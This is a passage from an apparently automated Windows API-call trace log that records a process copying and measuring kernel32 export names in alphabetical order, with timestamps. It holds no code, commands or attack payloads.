(lpString="BEGINUPDATERESOURCEA") returned 20 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0075.568] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0075.568] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0075.568] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0075.568] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0075.568] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0075.568] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0075.568] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0075.568] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0075.569] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0075.569] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0075.569] lstrlenA (lpString="CANCELIO") returned 8 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0075.569] lstrlenA (lpString="CANCELIOEX") returned 10 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0075.569] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0075.569] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0075.569] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0075.569] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0075.569] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0075.569] lstrlenA (lpString="CHECKELEVATION") returned 14 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0075.569] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0075.569] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0075.569] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0075.569] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0075.569] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0075.569] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0075.570] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0075.570] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0075.570] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0075.570] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0075.570] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0075.570] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0075.570] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0075.570] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0075.570] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0075.570] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0075.570] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0075.570] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0075.570] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0075.570] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0075.570] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0075.570] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0075.571] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0075.571] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0075.571] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0075.571] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0075.571] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0075.571] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0075.571] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0075.571] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0075.571] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0075.571] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0075.571] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0075.571] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0075.571] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0075.571] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0075.571] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0075.571] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0075.572] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0075.572] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0075.572] lstrlenA (lpString="COPYCONTEXT") returned 11 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0075.572] lstrlenA (lpString="COPYFILEA") returned 9 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0075.572] lstrlenA (lpString="COPYFILEEXA") returned 11 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0075.572] lstrlenA (lpString="COPYFILEEXW") returned 11 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0075.572] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0075.572] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0075.572] lstrlenA (lpString="COPYFILEW") returned 9 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0075.572] lstrlenA (lpString="COPYLZFILE") returned 10 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0075.572] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0075.572] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0075.572] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0075.572] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0075.572] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0075.572] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0075.573] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0075.573] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0075.573] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0075.573] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0075.573] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0075.573] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0075.573] lstrlenA (lpString="CREATEEVENTA") returned 12 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0075.573] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0075.573] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0075.573] lstrlenA (lpString="CREATEEVENTW") returned 12 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0075.573] lstrlenA (lpString="CREATEFIBER") returned 11 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0075.573] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0075.573] lstrlenA (lpString="CREATEFILEA") returned 11 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0075.573] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0075.573] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0075.573] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0075.574] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0075.574] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0075.574] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0075.574] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0075.574] lstrlenA (lpString="CREATEFILEW") returned 11 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0075.574] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0075.574] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0075.574] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0075.574] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0075.574] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0075.574] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0075.574] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0075.574] lstrlenA (lpString="CREATEJOBSET") returned 12 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0075.574] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0075.574] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0075.574] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0075.575] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0075.575] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0075.575] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0075.575] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0075.575] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0075.575] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0075.575] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0075.575] lstrlenA (lpString="CREATEPIPE") returned 10 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0075.575] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0075.575] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0075.575] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0075.575] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0075.575] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0075.575] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0075.575] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0075.575] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0075.576] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0075.576] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0075.576] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0075.576] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0075.576] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0075.576] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0075.576] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0075.576] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0075.576] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0075.576] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0075.576] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0075.576] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0075.576] lstrlenA (lpString="CREATETHREAD") returned 12 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0075.576] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0075.576] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0075.576] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0075.577] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateThreadpoolTimer" | 